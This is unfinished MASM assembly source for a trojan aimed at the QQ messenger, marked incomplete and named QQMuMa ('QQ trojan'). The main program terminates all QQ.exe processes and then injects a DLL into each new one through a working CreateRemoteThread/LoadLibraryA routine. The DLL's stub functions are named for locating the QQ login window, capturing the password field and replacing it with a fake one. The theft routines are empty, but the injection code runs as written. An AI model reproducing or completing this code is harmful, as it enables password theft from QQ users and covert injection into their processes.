未完成~~~~~
;QQMuMa.asm
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include gdi32.inc
includelib gdi32.lib
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据结构
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
QQ_LIST struct
QQProcessID DWORD ?
QQState DWORD ?
QQ_LIST ends
.const
szClassName db 'MyClass',0
szCaptionMain db 'My first Window !',0
TIME equ 500
QQ_LIST_MAX_COUNT equ 64
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance dd ?
hWinMain dd ?
idTimer dd ?
QQListCount dd ?
QQList QQ_LIST QQ_LIST_MAX_COUNT dup (<>)
.data
szDllName db 'd:/qq/QQLove.dll',0
szQQExe db 'QQ.exe',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include InsertDll.asm
.code
_IsQQExe proc _lpScanExe
invoke lstrcmp,_lpScanExe,addr szQQExe
.if eax
xor eax,eax
.else
;invoke MessageBox,hWinMain,addr szCaptionMain,addr szCaptionMain,MB_OK
mov eax,TRUE
.endif
ret
_IsQQExe endp
_InitQQList proc uses esi
xor esi,esi
.while esi < QQListCount
mov QQList[esi*sizeof QQ_LIST].QQState,FALSE
inc esi
.endw
ret
_InitQQList endp
_IsNewOfQQList proc uses esi edi _dwScanPID
xor esi,esi
.while esi < QQListCount
mov edi,QQList[esi*sizeof QQ_LIST].QQProcessID
.if edi == _dwScanPID
mov QQList[esi*sizeof QQ_LIST].QQState,TRUE
xor eax,eax
ret
.endif
inc esi
.endw
mov edi,QQListCount
push _dwScanPID
pop QQList[edi*sizeof QQ_LIST].QQProcessID
mov QQList[edi*sizeof QQ_LIST].QQState,TRUE
inc QQListCount
mov eax,TRUE
ret
_IsNewOfQQList endp
_DateQQList proc uses esi edi
xor esi,esi
.while esi < QQListCount
.if QQList[esi*sizeof QQ_LIST].QQState == FALSE
dec QQListCount
mov edi,esi
.while edi < QQListCount
push QQList[edi*sizeof QQ_LIST+sizeof QQ_LIST].QQProcessID
pop QQList[edi*sizeof QQ_LIST].QQProcessID
push QQList[edi*sizeof QQ_LIST+sizeof QQ_LIST].QQState
pop QQList[edi*sizeof QQ_LIST].QQState
inc edi
.endw
.endif
inc esi
.endw
ret
_DateQQList endp
_CloseAllQQExe proc uses ebx
local @stPe32:PROCESSENTRY32
local @hSnapShot
invoke RtlZeroMemory,addr @stPe32,sizeof @stPe32
mov @stPe32.dwSize,sizeof @stPe32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
mov @hSnapShot,eax
invoke Process32First,@hSnapShot,addr @stPe32
.while eax
invoke _IsQQExe,addr @stPe32.szExeFile
.if eax
invoke OpenProcess,PROCESS_TERMINATE,FALSE,@stPe32.th32ProcessID
mov ebx,eax
invoke TerminateProcess,ebx,-1
invoke CloseHandle,ebx
.endif
invoke Process32Next,@hSnapShot,addr @stPe32
.endw
invoke CloseHandle,@hSnapShot
ret
_CloseAllQQExe endp
_QQScan proc hWnd,uMsg,idEvent,dwTime
local @stPe32:PROCESSENTRY32
local @hSnapShot
;invoke MessageBox,hWinMain,addr szCaptionMain,addr szCaptionMain,MB_OK
invoke _InitQQList
invoke RtlZeroMemory,addr @stPe32,sizeof @stPe32
mov @stPe32.dwSize,sizeof @stPe32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
mov @hSnapShot,eax
invoke Process32First,@hSnapShot,addr @stPe32
.while eax
invoke _IsQQExe,addr @stPe32.szExeFile
.if !eax
jmp @F
.endif
invoke _IsNewOfQQList,@stPe32.th32ProcessID
.if !eax
jmp @F
.endif
;invoke MessageBox,hWinMain,addr szCaptionMain,addr szCaptionMain,MB_OK
invoke _InsertDll,@stPe32.th32ProcessID,addr szDllName
@@:
invoke Process32Next,@hSnapShot,addr @stPe32
.endw
invoke CloseHandle,@hSnapShot
invoke _DateQQList
ret
_QQScan endp
_QQMuMaStart proc
invoke _CloseAllQQExe
invoke SetTimer,NULL,NULL,TIME,addr _QQScan
mov idTimer,eax
ret
_QQMuMaStart endp
_QQMuMaStop proc
invoke KillTimer,NULL,idTimer
mov idTimer,0
ret
_QQMuMaStop endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 窗口过程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcWinMain proc uses ebx edi esi,hWnd,uMsg,wParam,lParam
mov eax,uMsg
;********************************************************************
.if eax == WM_CREATE
invoke _QQMuMaStart
.elseif eax == WM_CLOSE
invoke _QQMuMaStop
invoke DestroyWindow,hWinMain
invoke PostQuitMessage,NULL
;********************************************************************
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
;********************************************************************
xor eax,eax
ret
_ProcWinMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WinMain proc
local @stWndClass:WNDCLASSEX
local @stMsg:MSG
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke RtlZeroMemory,addr @stWndClass,sizeof @stWndClass
;********************************************************************
; 注册窗口类
;********************************************************************
invoke LoadCursor,0,IDC_ARROW
mov @stWndClass.hCursor,eax
push hInstance
pop @stWndClass.hInstance
mov @stWndClass.cbSize,sizeof WNDCLASSEX
mov @stWndClass.style,CS_HREDRAW or CS_VREDRAW
mov @stWndClass.lpfnWndProc,offset _ProcWinMain
mov @stWndClass.hbrBackground,COLOR_WINDOW + 1
mov @stWndClass.lpszClassName,offset szClassName
invoke RegisterClassEx,addr @stWndClass
;********************************************************************
; 建立并显示窗口
;********************************************************************
invoke CreateWindowEx,WS_EX_CLIENTEDGE,/
offset szClassName,offset szCaptionMain,/
WS_OVERLAPPEDWINDOW,/
100,100,600,400,/
NULL,NULL,hInstance,NULL
mov hWinMain,eax
invoke ShowWindow,hWinMain,SW_SHOWNORMAL
invoke UpdateWindow,hWinMain
;********************************************************************
; 消息循环
;********************************************************************
.while TRUE
invoke GetMessage,addr @stMsg,NULL,0,0
.break .if eax == 0
invoke TranslateMessage,addr @stMsg
invoke DispatchMessage,addr @stMsg
.endw
ret
_WinMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
call _WinMain
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
;InsertDll.asm
.const
szDllKernel db 'Kernel32.dll',0
szLoadLibrary db 'LoadLibraryA',0
.code
_InsertDll proc _dwProcessID,_lpDllName
local @hProcess,@lpRemoteDllName,@dwDllNameLength
invoke OpenProcess,PROCESS_VM_WRITE or PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION,FALSE,_dwProcessID
.if !eax
jmp Err
.endif
mov @hProcess,eax
invoke lstrlen,_lpDllName
inc eax
mov @dwDllNameLength,eax
invoke VirtualAllocEx,@hProcess,NULL,eax,MEM_COMMIT,PAGE_READWRITE
.if !eax
invoke CloseHandle,@hProcess
jmp Err
.endif
mov @lpRemoteDllName,eax
invoke WriteProcessMemory,@hProcess,eax,_lpDllName,@dwDllNameLength,NULL
invoke GetModuleHandle,addr szDllKernel
invoke GetProcAddress,eax,addr szLoadLibrary
invoke CreateRemoteThread,@hProcess,NULL,0,eax,@lpRemoteDllName,0,NULL
.if !eax
invoke CloseHandle,@hProcess
jmp Err
.endif
invoke MessageBox,hWinMain,addr szClassName,addr szCaptionMain,MB_OK
invoke CloseHandle,eax
invoke CloseHandle,@hProcess
mov eax,TRUE
ret
Err:
mov eax,FALSE
ret
_InsertDll endp
;QQLove.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib e:/masm32/lib/user32.lib
include kernel32.inc
includelib e:/masm32/lib/kernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance dd ?
hWinMain dd ?
.const
szClassName db 'RemoteClass',0
szCaptionMain db 'RemoteWindow',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
_EnumWinProc proc _hWnd,_wParam
ret
_EnumWinProc endp
_GetQQLoginHWnd proc
invoke EnumWindows,addr _EnumWinProc,NULL
ret
_GetQQLoginHWnd endp
_GetQQSubHWnd proc
ret
_GetQQSubHWnd endp
_SaveQQPwdEditPic proc
ret
_SaveQQPwdEditPic endp
_SubClassQQLoginWin proc
ret
_SubClassQQLoginWin endp
_CreateNewQQPwdEdit proc
ret
_CreateNewQQPwdEdit endp
_QQLove proc _lParam
invoke MessageBox,NULL,addr szCaptionMain,addr szClassName,MB_OK
invoke _GetQQLoginHWnd
invoke _GetQQSubHWnd
invoke _SaveQQPwdEditPic
invoke _SubClassQQLoginWin
invoke _CreateNewQQPwdEdit
ret
_QQLove endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DllEntry proc _hInstance,_dwReason,_dwReserved
local @dwThreadID
.if _dwReason == DLL_PROCESS_ATTACH
push _hInstance
pop hInstance
invoke CreateThread,NULL,0,offset _QQLove,NULL,/
NULL,addr @dwThreadID
invoke CloseHandle,eax
.endif
mov eax,TRUE
ret
DllEntry Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End DllEntry